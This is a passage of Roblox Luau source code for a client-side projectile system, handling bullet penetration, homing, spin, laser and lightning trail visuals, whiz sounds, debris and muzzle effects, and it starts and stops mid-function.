OnRayExited(Cast, RaycastResult.Position + MaxExtent, -MaxExtent, {Instance = ExitHit, Position = ExitPoint, Normal = ExitNormal, Material = ExitMaterial}, SegmentVelocity, CosmeticBulletObject)
end
elseif Cast.UserData.ClientModule.PenetrationType == "HumanoidPenetration" then
Cast.UserData.PenetrationData.PenetrationAmount -= 1
end
if Cast.UserData.PenetrationData.PenetrationIgnoreDelay ~= math.huge then
Thread:Delay(Cast.UserData.PenetrationData.PenetrationIgnoreDelay, function()
local Index = table.find( Cast.UserData.PenetrationData.HitHumanoids, TargetHumanoid)
if Index then
table.remove(Cast.UserData.PenetrationData.HitHumanoids, Index)
end
end)
end
return true
end
else
if Cast.UserData.ClientModule.PenetrationType == "WallPenetration" then
if ShowEffects then
MakeImpactFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
local ToReduce = 1 - ((Dist / Cast.UserData.PenetrationData.PenetrationDepth / 1.1))
Cast.UserData.PenetrationData.PenetrationDepth *= ToReduce
if ExitHit then
OnRayExited(Cast, RaycastResult.Position + MaxExtent, -MaxExtent, {Instance = ExitHit, Position = ExitPoint, Normal = ExitNormal, Material = ExitMaterial}, SegmentVelocity, CosmeticBulletObject)
end
return true
end
end
end
end
end
end
end
end
return false
end
local function UpdateParticle(Cast, Position, LastPosition, W2)
if Cast.UserData.BulletParticleData.MotionBlur then
local T2 = os.clock()
local P2 = CFrame.new().pointToObjectSpace(Camera.CFrame, W2)
local V2
if Cast.UserData.BulletParticleData.T0 then
V2 = 2 / (T2 - Cast.UserData.BulletParticleData.T1) * (P2 - Cast.UserData.BulletParticleData.P1) - (P2 - Cast.UserData.BulletParticleData.P0) / (T2 - Cast.UserData.BulletParticleData.T0)
else
V2 = (P2 - Cast.UserData.BulletParticleData.P1) / (T2 - Cast.UserData.BulletParticleData.T1)
Cast.UserData.BulletParticleData.V1 = V2
end
Cast.UserData.BulletParticleData.T0, Cast.UserData.BulletParticleData.V0, Cast.UserData.BulletParticleData.P0 = Cast.UserData.BulletParticleData.T1, Cast.UserData.BulletParticleData.V1, Cast.UserData.BulletParticleData.P1
Cast.UserData.BulletParticleData.T1, Cast.UserData.BulletParticleData.V1, Cast.UserData.BulletParticleData.P1 = T2, V2, P2
local Dt = Cast.UserData.BulletParticleData.T1 - Cast.UserData.BulletParticleData.T0
local M0 = Cast.UserData.BulletParticleData.V0.Magnitude
local M1 = Cast.UserData.BulletParticleData.V1.Magnitude
Cast.UserData.BulletParticleData.Attachment0.Position = Camera.CFrame * Cast.UserData.BulletParticleData.P0
Cast.UserData.BulletParticleData.Attachment1.Position = Camera.CFrame * Cast.UserData.BulletParticleData.P1
if M0 > 1.0E-8 then
Cast.UserData.BulletParticleData.Attachment0.Axis = CFrame.new().vectorToWorldSpace(Camera.CFrame, Cast.UserData.BulletParticleData.V0 / M0)
end
if M1 > 1.0E-8 then
Cast.UserData.BulletParticleData.Attachment1.Axis = CFrame.new().vectorToWorldSpace(Camera.CFrame, Cast.UserData.BulletParticleData.V1 / M1)
end
local Dist0 = -Cast.UserData.BulletParticleData.P0.Z
local Dist1 = -Cast.UserData.BulletParticleData.P1.Z
if Dist0 < 0 then
Dist0 = 0
end
if Dist1 < 0 then
Dist1 = 0
end
local W0 = Cast.UserData.BulletParticleData.BulletSize + Cast.UserData.BulletParticleData.BulletBloom * Dist0
local W1 = Cast.UserData.BulletParticleData.BulletSize + Cast.UserData.BulletParticleData.BulletBloom * Dist1
local L = ((Cast.UserData.BulletParticleData.P1 - Cast.UserData.BulletParticleData.P0) * Vector3.new(1, 1, 0)).Magnitude
local Tr = 1 - 4 * Cast.UserData.BulletParticleData.BulletSize * Cast.UserData.BulletParticleData.BulletSize / ((W0 + W1) * (2 * L + W0 + W1)) * Cast.UserData.BulletParticleData.BulletBrightness
for _, effect in next, Cast.UserData.BulletParticleData.Effects do
effect.CurveSize0 = Dt / 3 * M0
effect.CurveSize1 = Dt / 3 * M1
effect.Width0 = W0
effect.Width1 = W1
effect.Transparency = NumberSequence.new(Tr)
end
else
if (Position - LastPosition).Magnitude > 0 then
local Rotation = CFrame.new(LastPosition, Position) - LastPosition
local Offset = CFrame.Angles(0, math.pi / 2, 0)
Cast.UserData.BulletParticleData.Attachment0.CFrame = CFrame.new(Position) * Rotation * Offset
Cast.UserData.BulletParticleData.Attachment1.CFrame = CFrame.new(LastPosition, Position) * Offset
end
end
end
local function OnRayUpdated(Cast, LastSegmentOrigin, SegmentOrigin, SegmentDirection, Length, SegmentVelocity, CosmeticBulletObject)
Cast.UserData.LastSegmentOrigin = LastSegmentOrigin
Cast.UserData.SegmentOrigin = SegmentOrigin
Cast.UserData.SegmentDirection = SegmentDirection
Cast.UserData.SegmentVelocity = SegmentVelocity
local Tick = os.clock() - Cast.UserData.SpinData.InitalTick
if Cast.UserData.UpdateData.UpdateRayInExtra then
if Cast.UserData.UpdateData.ExtraRayUpdater then
Cast.UserData.UpdateData.ExtraRayUpdater(Cast, Cast.StateInfo.Delta)
end
end
if not Cast.UserData.CastBehavior.Hitscan and Cast.UserData.HomeData.Homing then
local CurrentPosition = Cast:GetPosition()
local CurrentVelocity = Cast:GetVelocity()
if Cast.UserData.HomeData.LockOnOnHovering then
if Cast.UserData.HomeData.LockedEntity then
local TargetHumanoid = Cast.UserData.HomeData.LockedEntity:FindFirstChildOfClass("Humanoid")
if TargetHumanoid and TargetHumanoid.Health > 0 then
local TargetTorso = Cast.UserData.HomeData.LockedEntity:FindFirstChild("HumanoidRootPart") or Cast.UserData.HomeData.LockedEntity:FindFirstChild("Torso") or Cast.UserData.HomeData.LockedEntity:FindFirstChild("UpperTorso")
local DesiredVector = (TargetTorso.Position - CurrentPosition).Unit
local CurrentVector = CurrentVelocity.Unit
local AngularDifference = math.acos(DesiredVector:Dot(CurrentVector))
if AngularDifference > 0 then
local OrthoVector = CurrentVector:Cross(DesiredVector).Unit
local AngularCorrection = math.min(AngularDifference, Cast.StateInfo.Delta * Cast.UserData.HomeData.TurnRatePerSecond)
Cast:SetVelocity(CFrame.fromAxisAngle(OrthoVector, AngularCorrection):vectorToWorldSpace(CurrentVelocity))
end
end
end
else
local TargetEntity, TargetHumanoid, TargetTorso = FindNearestEntity(Cast, CurrentPosition)
if TargetEntity and TargetHumanoid and TargetTorso and TargetHumanoid.Health > 0 then
local DesiredVector = (TargetTorso.Position - CurrentPosition).Unit
local CurrentVector = CurrentVelocity.Unit
local AngularDifference = math.acos(DesiredVector:Dot(CurrentVector))
if AngularDifference > 0 then
local OrthoVector = CurrentVector:Cross(DesiredVector).Unit
local AngularCorrection = math.min(AngularDifference, Cast.StateInfo.Delta * Cast.UserData.HomeData.TurnRatePerSecond)
Cast:SetVelocity(CFrame.fromAxisAngle(OrthoVector, AngularCorrection):vectorToWorldSpace(CurrentVelocity))
end
end
end
end
local TravelCFrame
if Cast.UserData.SpinData.CanSpinPart then
if not Cast.UserData.CastBehavior.Hitscan then
local Position = (SegmentOrigin + Cast.UserData.SpinData.ProjectileOffset)
if Cast.UserData.BounceData.SuperRicochet then
TravelCFrame = CFrame.new(Position, Position + SegmentVelocity) * Math.FromAxisAngle(Tick * Cast.UserData.SpinData.InitalAngularVelocity) * Cast.UserData.SpinData.InitalRotation
else
if Cast.UserData.BounceData.CurrentBounces > 0 then
TravelCFrame = CFrame.new(Position, Position + SegmentVelocity) * Math.FromAxisAngle(Tick * Cast.UserData.SpinData.InitalAngularVelocity) * Cast.UserData.SpinData.InitalRotation
else
TravelCFrame = CFrame.new(SegmentOrigin, SegmentOrigin + SegmentVelocity) * CFrame.Angles(math.rad(-360 * ((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinX - math.floor((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinX))), math.rad(-360 * ((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinY - math.floor((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinY))), math.rad(-360 * ((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinZ - math.floor((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinZ))))
end
end
else
TravelCFrame = CFrame.new(SegmentOrigin, SegmentOrigin + SegmentVelocity) * CFrame.Angles(math.rad(-360 * ((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinX - math.floor((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinX))), math.rad(-360 * ((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinY - math.floor((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinY))), math.rad(-360 * ((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinZ - math.floor((os.clock() - Cast.UserData.ShootId / 4) * Cast.UserData.SpinData.SpinZ))))
end
else
TravelCFrame = CFrame.new(SegmentOrigin, SegmentOrigin + SegmentVelocity)
end
Cast.RayInfo.CurrentCFrame = TravelCFrame
if Cast.UserData.BulletParticleData then
UpdateParticle(Cast, SegmentOrigin, Cast.UserData.LastPosition, SegmentOrigin)
end
if Cast.UserData.LaserData.LaserTrailEnabled then
if Cast.StateInfo.Delta > 0 then
local Width = Cast.UserData.LaserData.LaserTrailWidth
local Height = Cast.UserData.LaserData.LaserTrailHeight
local TrailSegment = Miscs[Cast.UserData.LaserData.LaserTrailShape.."Segment"]:Clone()
if Cast.UserData.LaserData.RandomizeLaserColorIn ~= "None" then
if Cast.UserData.LaserData.RandomizeLaserColorIn == "Whole" then
TrailSegment.Color = Cast.UserData.LaserData.RandomLaserColor
elseif Cast.UserData.LaserData.RandomizeLaserColorIn == "Segment" then
TrailSegment.Color = Color3.new(math.random(), math.random(), math.random())
end
else
TrailSegment.Color = Cast.UserData.LaserData.LaserTrailColor
end
TrailSegment.Material = Cast.UserData.LaserData.LaserTrailMaterial
TrailSegment.Reflectance = Cast.UserData.LaserData.LaserTrailReflectance
TrailSegment.Transparency = Cast.UserData.LaserData.LaserTrailTransparency
TrailSegment.Size = Cast.UserData.LaserData.LaserTrailShape == "Cone" and Vector3.new(Width, (SegmentOrigin - LastSegmentOrigin).Magnitude, Height) or Vector3.new((SegmentOrigin - LastSegmentOrigin).Magnitude, Height, Width)
TrailSegment.CFrame = CFrame.new((LastSegmentOrigin + SegmentOrigin) * 0.5, SegmentOrigin) * (Cast.UserData.LaserData.LaserTrailShape == "Cone" and CFrame.Angles(math.pi / 2, 0, 0) or CFrame.Angles(0, math.pi / 2, 0))
TrailSegment.Parent = Camera
table.insert(Cast.UserData.LaserData.LaserTrailContainer, TrailSegment)
if Cast.UserData.LaserData.UpdateLaserTrail then
Cast.UserData.LaserData.UpdateLaserTrail:Fire(Cast.UserData.LaserData.LaserTrailId, Cast.UserData.LaserData.LaserTrailContainer)
end
Thread:Delay(Cast.UserData.LaserData.LaserTrailVisibleTime, function()
if Cast.UserData.LaserData.LaserTrailFadeTime > 0 then
local DesiredSize = TrailSegment.Size * (Cast.UserData.LaserData.ScaleLaserTrail and Vector3.new(1, Cast.UserData.LaserData.LaserTrailScaleMultiplier, Cast.UserData.LaserData.LaserTrailScaleMultiplier) or Vector3.new(1, 1, 1))
local Tween = TweenService:Create(TrailSegment, TweenInfo.new(Cast.UserData.LaserData.LaserTrailFadeTime, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Transparency = 1, Size = DesiredSize})
Tween:Play()
Tween.Completed:Wait()
if TrailSegment then
local Index = table.find(Cast.UserData.LaserData.LaserTrailContainer, TrailSegment)
if Index then
table.remove(Cast.UserData.LaserData.LaserTrailContainer, Index)
if Cast.UserData.LaserData.UpdateLaserTrail then
Cast.UserData.LaserData.UpdateLaserTrail:Fire(Cast.UserData.LaserData.LaserTrailId, Cast.UserData.LaserData.LaserTrailContainer)
end
end
TrailSegment:Destroy()
end
else
if TrailSegment then
local Index = table.find(Cast.UserData.LaserData.LaserTrailContainer, TrailSegment)
if Index then
table.remove(Cast.UserData.LaserData.LaserTrailContainer, Index)
if Cast.UserData.LaserData.UpdateLaserTrail then
Cast.UserData.LaserData.UpdateLaserTrail:Fire(Cast.UserData.LaserData.LaserTrailId, Cast.UserData.LaserData.LaserTrailContainer)
end
end
TrailSegment:Destroy()
end
end
end)
end
end
if Cast.UserData.LightningData.LightningBoltEnabled then
if Cast.StateInfo.Delta > 0 then
local Wideness = Cast.UserData.LightningData.BoltWideness
local Width = Cast.UserData.LightningData.BoltWidth
local Height = Cast.UserData.LightningData.BoltHeight
for _, v in ipairs(Cast.UserData.LightningData.BoltCFrameTable) do
local Cache
if Cast.UserData.LightningData.BoltShape == "Block" then
Cache = BlockSegCache
elseif Cast.UserData.LightningData.BoltShape == "Cylinder" then
Cache = CylinderSegCache
elseif Cast.UserData.LightningData.BoltShape == "Cone" then
Cache = ConeSegCache
end
if Cache then
local Start = (CFrame.new(SegmentOrigin, SegmentOrigin + SegmentDirection) * v).p
local End = (CFrame.new(LastSegmentOrigin, LastSegmentOrigin + SegmentDirection) * v).p
local Distance = (End - Start).Magnitude
local Pos = Start
for i = 0, Distance, 10 do
local FakeDistance = CFrame.new(Start, End) * CFrame.new(0, 0, -i - 10) * CFrame.new(-2 + (math.random() * Wideness), -2 + (math.random() * Wideness), -2 + (math.random() * Wideness))
local BoltSegment = Cache:GetPart()
if Cast.UserData.LightningData.RandomizeBoltColorIn ~= "None" then
if Cast.UserData.LightningData.RandomizeBoltColorIn == "Whole" then
BoltSegment.Color = Cast.UserData.LightningData.RandomBoltColor
elseif Cast.UserData.LightningData.RandomizeBoltColorIn == "Segment" then
BoltSegment.Color = Color3.new(math.random(), math.random(), math.random())
end
else
BoltSegment.Color = Cast.UserData.LightningData.BoltColor
end
BoltSegment.Material = Cast.UserData.LightningData.BoltMaterial
BoltSegment.Reflectance = Cast.UserData.LightningData.BoltReflectance
BoltSegment.Transparency = Cast.UserData.LightningData.BoltTransparency
if i + 10 > Distance then
BoltSegment.CFrame = CFrame.new(Pos, End) * CFrame.new(0, 0, -(Pos - End).Magnitude / 2) * (Cast.UserData.LightningData.BoltShape == "Cone" and CFrame.Angles(math.pi / 2, 0, 0) or CFrame.Angles(0, math.pi / 2, 0))
else
BoltSegment.CFrame = CFrame.new(Pos, FakeDistance.p) * CFrame.new(0, 0, -(Pos - FakeDistance.p).Magnitude / 2) * (Cast.UserData.LightningData.BoltShape == "Cone" and CFrame.Angles(math.pi / 2, 0, 0) or CFrame.Angles(0, math.pi / 2, 0))
end
if i + 10 > Distance then
BoltSegment.Size = Cast.UserData.LightningData.BoltShape == "Cone" and Vector3.new(Width, (Pos - End).Magnitude, Height) or Vector3.new((Pos - End).Magnitude, Height, Width)
else
BoltSegment.Size = Cast.UserData.LightningData.BoltShape == "Cone" and Vector3.new(Width, (Pos - FakeDistance.p).Magnitude, Height) or Vector3.new((Pos - FakeDistance.p).Magnitude, Height, Width)
end
Thread:Delay(Cast.UserData.LightningData.BoltVisibleTime, function()
if Cast.UserData.LightningData.BoltFadeTime > 0 then
local DesiredSize = BoltSegment.Size * (Cast.UserData.LightningData.ScaleBolt and Vector3.new(1, Cast.UserData.LightningData.BoltScaleMultiplier, Cast.UserData.LightningData.BoltScaleMultiplier) or Vector3.new(1, 1, 1))
local Tween = TweenService:Create(BoltSegment, TweenInfo.new(Cast.UserData.LightningData.BoltFadeTime, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Transparency = 1, Size = DesiredSize})
Tween:Play()
Tween.Completed:Wait()
if BoltSegment ~= nil then
Cache:ReturnPart(BoltSegment)
end
else
if BoltSegment ~= nil then
Cache:ReturnPart(BoltSegment)
end
end
end)
Pos = FakeDistance.p
end
end
end
end
end
if not Cast.UserData.Replicate and Cast.UserData.ClientModule.WhizSoundEnabled then
if not Cast.UserData.Whizzed then
local Mag = (Camera.CFrame.p - SegmentOrigin).Magnitude --(Camera.CFrame.p - CosmeticBulletObject.Position).Magnitude
if Mag < Cast.UserData.ClientModule.WhizDistance then
local WhizSound = Instance.new("Sound")
WhizSound.SoundId = "rbxassetid://"..Cast.UserData.ClientModule.WhizSoundIDs[math.random(1, #Cast.UserData.ClientModule.WhizSoundIDs)]
WhizSound.Volume = Cast.UserData.ClientModule.WhizSoundVolume
WhizSound.PlaybackSpeed = Random.new():NextNumber(Cast.UserData.ClientModule.WhizSoundPitchMin, Cast.UserData.ClientModule.WhizSoundPitchMax)
WhizSound.Name = "WhizSound"
WhizSound.Parent = SoundService
WhizSound:Play()
Debris:AddItem(WhizSound, WhizSound.TimeLength / WhizSound.PlaybackSpeed)
Cast.UserData.Whizzed = true
end
end
end
Cast.UserData.LastPosition = SegmentOrigin
if CosmeticBulletObject == nil then
return
end
CosmeticBulletObject.CFrame = TravelCFrame
end
local function OnRayTerminated(Cast, RaycastResult, IsDecayed)
if Cast.UserData.LaserData.UpdateLaserTrail then
Cast.UserData.LaserData.UpdateLaserTrail:Fire(Cast.UserData.LaserData.LaserTrailId, Cast.UserData.LaserData.LaserTrailContainer, true)
end
if Cast.UserData.BulletParticleData then
Cast.UserData.BulletParticleData.Attachment0:Destroy()
Cast.UserData.BulletParticleData.Attachment1:Destroy()
for _, effect in next, Cast.UserData.BulletParticleData.Effects do
effect:Destroy()
end
end
local CosmeticBulletObject = Cast.RayInfo.CosmeticBulletObject
if CosmeticBulletObject ~= nil then
local CurrentPosition = Cast:GetPosition()
local CurrentVelocity = Cast:GetVelocity()
if IsDecayed then
if Cast.UserData.DebrisData.DecayProjectile then
if DebrisCounts <= MaxDebrisCounts then
DebrisCounts += 1
local DecayProjectile = CosmeticBulletObject:Clone()
DecayProjectile.Name = "DecayProjectile"
DecayProjectile.CFrame = CosmeticBulletObject.CFrame
DecayProjectile.Anchored = Cast.UserData.DebrisData.AnchorDecay
DecayProjectile.CanCollide = Cast.UserData.DebrisData.CollideDecay
if not DecayProjectile.Anchored then
if Cast.UserData.DebrisData.VelocityInfluence then
DecayProjectile.Velocity = DecayProjectile.CFrame.LookVector * CurrentVelocity.Magnitude
else
DecayProjectile.Velocity = DecayProjectile.CFrame.LookVector * Cast.UserData.DebrisData.DecayVelocity
end
end
for _, v in pairs(DecayProjectile:GetDescendants()) do
if ((v:IsA("PointLight") or v:IsA("SurfaceLight") or v:IsA("SpotLight")) and Cast.UserData.DebrisData.DisableDebrisContents.DisableTrail) then
v.Enabled = false
elseif (v:IsA("ParticleEmitter") and Cast.UserData.DebrisData.DisableDebrisContents.Particle) then
v.Enabled = false
elseif (v:IsA("Trail") and Cast.UserData.DebrisData.DisableDebrisContents.Trail) then
v.Enabled = false
elseif (v:IsA("Beam") and Cast.UserData.DebrisData.DisableDebrisContents.Beam) then
v.Enabled = false
elseif (v:IsA("Sound") and Cast.UserData.DebrisData.DisableDebrisContents.Sound) then
v:Stop()
end
end
DecayProjectile.Parent = Camera
Thread:Delay(5, function() --10
if DecayProjectile then
DecayProjectile:Destroy()
end
DebrisCounts -= 1
end)
end
end
else
if RaycastResult then
local HitPointObjectSpace = RaycastResult.Instance.CFrame:pointToObjectSpace(RaycastResult.Position)
if Cast.UserData.DebrisData.DebrisProjectile then
if DebrisCounts <= MaxDebrisCounts then
DebrisCounts += 1
local DebrisProjectile = CosmeticBulletObject:Clone()
DebrisProjectile.Name = "DebrisProjectile"
DebrisProjectile.CFrame = Cast.UserData.DebrisData.NormalizeDebris and CFrame.new(RaycastResult.Position, RaycastResult.Position + RaycastResult.Normal) or (RaycastResult.Instance.CFrame * CFrame.new(HitPointObjectSpace, HitPointObjectSpace + RaycastResult.Instance.CFrame:vectorToObjectSpace(Cast.UserData.SegmentVelocity.Unit))) --CosmeticBulletObject.CFrame
DebrisProjectile.Anchored = Cast.UserData.DebrisData.AnchorDebris
DebrisProjectile.CanCollide = Cast.UserData.DebrisData.CollideDebris
if not DebrisProjectile.Anchored and Cast.UserData.DebrisData.BounceDebris then
local Direction = DebrisProjectile.CFrame.LookVector
local Reflect = Direction - (2 * Direction:Dot(RaycastResult.Normal) * RaycastResult.Normal)
DebrisProjectile.Velocity = Reflect * (Cast.UserData.DebrisData.BounceVelocity * (CurrentVelocity.Magnitude / AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.BulletSpeed, Cast.UserData.ClientModule.BulletSpeed)))
DebrisProjectile.CFrame = CFrame.new(DebrisProjectile.Position, DebrisProjectile.Position + DebrisProjectile.Velocity)
end
for _, v in pairs(DebrisProjectile:GetDescendants()) do
if ((v:IsA("PointLight") or v:IsA("SurfaceLight") or v:IsA("SpotLight")) and Cast.UserData.DebrisData.DisableDebrisContents.DisableTrail) then
v.Enabled = false
elseif (v:IsA("ParticleEmitter") and Cast.UserData.DebrisData.DisableDebrisContents.Particle) then
v.Enabled = false
elseif (v:IsA("Trail") and Cast.UserData.DebrisData.DisableDebrisContents.Trail) then
v.Enabled = false
elseif (v:IsA("Beam") and Cast.UserData.DebrisData.DisableDebrisContents.Beam) then
v.Enabled = false
elseif (v:IsA("Sound") and Cast.UserData.DebrisData.DisableDebrisContents.Sound) then
v:Stop()
end
end
DebrisProjectile.Parent = Camera
Thread:Delay(5, function() --10
if DebrisProjectile then
DebrisProjectile:Destroy()
end
DebrisCounts -= 1
end)
end
end
end
end
CosmeticBulletObject.Transparency = 1
for _, v in pairs(CosmeticBulletObject:GetDescendants()) do
if v:IsA("ParticleEmitter") or v:IsA("PointLight") or v:IsA("SurfaceLight") or v:IsA("SpotLight") or v:IsA("Trail") or v:IsA("Beam") or v:IsA("BillboardGui") or v:IsA("SurfaceGui") then
v.Enabled = false
elseif v:IsA("Sound") then
v:Stop()
elseif v:IsA("Decal") or v:IsA("Texture") or v:IsA("BasePart") then
v.Transparency = 1
end
end
if Cast.UserData.CastBehavior.CosmeticBulletProvider ~= nil then
--Thread:Delay(5, function() -- 10
if CosmeticBulletObject ~= nil then
Cast.UserData.CastBehavior.CosmeticBulletProvider:ReturnPart(CosmeticBulletObject)
end
--end)
else
Debris:AddItem(CosmeticBulletObject, 5) -- 10
end
end
end
function ProjectileHandler:VisualizeHitEffect(Type, Hit, Position, Normal, Material, ClientModule, Misc, Replicate)
if Replicate then
VisualizeHitEffect:FireServer(Type, Hit, Position, Normal, Material, ClientModule, Misc)
end
local ShowEffects = CanShowEffects(Position)
if ShowEffects then
if Type == "Normal" then
MakeImpactFX(Hit, Position, Normal, Material, true, ClientModule, Misc, Replicate, true)
elseif Type == "Blood" then
MakeBloodFX(Hit, Position, Normal, Material, true, ClientModule, Misc, Replicate, true)
end
end
end
function ProjectileHandler:SimulateProjectile(Tool, Handle, ClientModule, Directions, FirePointObject, MuzzlePointObject, Misc, Replicate)
if ClientModule and Tool and Handle then
if FirePointObject then
if not FirePointObject:IsDescendantOf(Workspace) and not FirePointObject:IsDescendantOf(Tool) then
return
end
else
return
end
if Replicate then
VisualizeBullet:FireServer(Tool, Handle, ClientModule, Directions, FirePointObject, MuzzlePointObject, Misc)
end
if MuzzlePointObject then
if ClientModule.MuzzleFlashEnabled then
for i, v in pairs(Misc.MuzzleFolder:GetChildren()) do
if v.ClassName == "ParticleEmitter" then
local Count = 1
local Particle = v:Clone()
Particle.Parent = MuzzlePointObject
if Particle:FindFirstChild("EmitCount") then
Count = Particle.EmitCount.Value
end
Thread:Delay(0.01, function()
Particle:Emit(Count)
Debris:AddItem(Particle, Particle.Lifetime.Max)
end)
end
end
end
if ClientModule.MuzzleLightEnabled then
local Light = Instance.new("PointLight")
Light.Brightness = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LightBrightness, ClientModule.LightBrightness)
Light.Color = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LightColor, ClientModule.LightColor)
Light.Range = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LightRange, ClientModule.LightRange)
Light.Shadows = ClientModule.LightShadows
Light.Enabled = true
Light.Parent = MuzzlePointObject
Debris:AddItem(Light, ClientModule.VisibleTime)
end
end
local Character = Tool.Parent
local IgnoreList = {Camera, Tool, Character}
local CastParams = RaycastParams.new()
CastParams.IgnoreWater = true
CastParams.FilterType = Enum.RaycastFilterType.Blacklist
CastParams.FilterDescendantsInstances = IgnoreList
local RegionParams = OverlapParams.new()
RegionParams.FilterType = Enum.RaycastFilterType.Blacklist
RegionParams.FilterDescendantsInstances = IgnoreList
RegionParams.MaxParts = 0
RegionParams.CollisionGroup = "Default"
ShootId += 1
local LaserTrails = {}
local UpdateLaserTrail
local LaserTrailEnabled = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.LaserTrailEnabled, ClientModule.LaserTrailEnabled)
local DamageableLaserTrail = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.DamageableLaserTrail, ClientModule.DamageableLaserTrail)
if Replicate then
if LaserTrailEnabled and DamageableLaserTrail then
UpdateLaserTrail = Instance.new("BindableEvent")
UpdateLaserTrail.Name = "UpdateLaserTrail_"..HttpService:GenerateGUID()
end
end
for _, Direction in pairs(Directions) do
if FirePointObject then
if not FirePointObject:IsDescendantOf(Workspace) and not FirePointObject:IsDescendantOf(Tool) then
return
end
else
return
end
local Origin, Dir = FirePointObject.WorldPosition, Direction
local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart", 1)
local TipCFrame = FirePointObject.WorldCFrame
local TipPos = TipCFrame.Position
local TipDir = TipCFrame.LookVector
local AmountToCheatBack = math.abs((HumanoidRootPart.Position - TipPos):Dot(TipDir)) + 1
local GunRay = Ray.new(TipPos - TipDir.Unit * AmountToCheatBack, TipDir.Unit * AmountToCheatBack)
local HitPart, HitPoint = Workspace:FindPartOnRayWithIgnoreList(GunRay, IgnoreList, false, true)
if HitPart and math.abs((TipPos - HitPoint).Magnitude) > 0 then
Origin = HitPoint - TipDir.Unit * 0.1
--Dir = TipDir.Unit
end
local MyMovementSpeed = HumanoidRootPart.Velocity
local ModifiedBulletSpeed = (Dir * AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BulletSpeed, ClientModule.BulletSpeed)) -- + MyMovementSpeed
local CosmeticPartProvider
local ProjectileContainer
local ProjectileType = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.ProjectileType, ClientModule.ProjectileType)
if ProjectileType ~= "None" then
local Projectile = Projectiles:FindFirstChild(ProjectileType)
if Projectile then
local Exist2 = false
for _, v in pairs(PartCacheStorage) do
if v.ProjectileName == Projectile.Name then
Exist2 = true
ProjectileContainer = Camera:FindFirstChild("ProjectileContainer_("..Projectile.Name..")")
CosmeticPartProvider = v.CosmeticPartProvider
break
end
end
if not Exist2 then
ProjectileContainer = Instance.new("Folder")
ProjectileContainer.Name = "ProjectileContainer_("..Projectile.Name..")"
ProjectileContainer.Parent = Camera
CosmeticPartProvider = PartCache.new(Projectile, 100, ProjectileContainer)
table.insert(PartCacheStorage, {
ProjectileName = Projectile.Name,
CosmeticPartProvider = CosmeticPartProvider
})
end
end
end
local PenetrationDepth = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.PenetrationDepth, ClientModule.PenetrationDepth)
local PenetrationAmount = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.PenetrationAmount, ClientModule.PenetrationAmount)
local PenetrationData
if (PenetrationDepth > 0 or PenetrationAmount > 0) then
PenetrationData = {
PenetrationDepth = PenetrationDepth,
PenetrationAmount = PenetrationAmount,
PenetrationIgnoreDelay = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.PenetrationIgnoreDelay, ClientModule.PenetrationIgnoreDelay),
HitHumanoids = {},
}
end
local SpinX = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.SpinX, ClientModule.SpinX)
local SpinY = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.SpinY, ClientModule.SpinY)
local SpinZ = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.SpinZ, ClientModule.SpinZ)
local BulletParticleData
if AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BulletParticle, ClientModule.BulletParticle) then
local BulletType = AddressTableValue(ClientModule.ChargedShotAdvanceEnabled, Misc.ChargeLevel, ClientModule.ChargeAlterTable.BulletType, ClientModule.BulletType)
if BulletType ~= "None" then
local Attachment0 = Bullets[BulletType].Attachment0:Clone()
local Attachment1 = Bullets[BulletType].Attachment1:Clone()
local Effects = {}
Attachment0.Parent = Workspace.Terrain
Attachment1.Parent = Workspace.Terrain
for _, effect in next, Bullets[BulletType]:GetChildren() do
if effect:IsA("Beam") or effect:IsA("Trail") then
local eff = effect:Clone()
eff.Attachment0 = Attachment0 --Attachment1
eff.Attachment1 = Attachment1 --Attachment0
eff.Parent = Workspace.Terrain
table.insert(Effects, eff)
end
end
BulletParticleData = {
T0 = nil,
P0 = nil,
V0 = nil,
T1 = os.clock(),
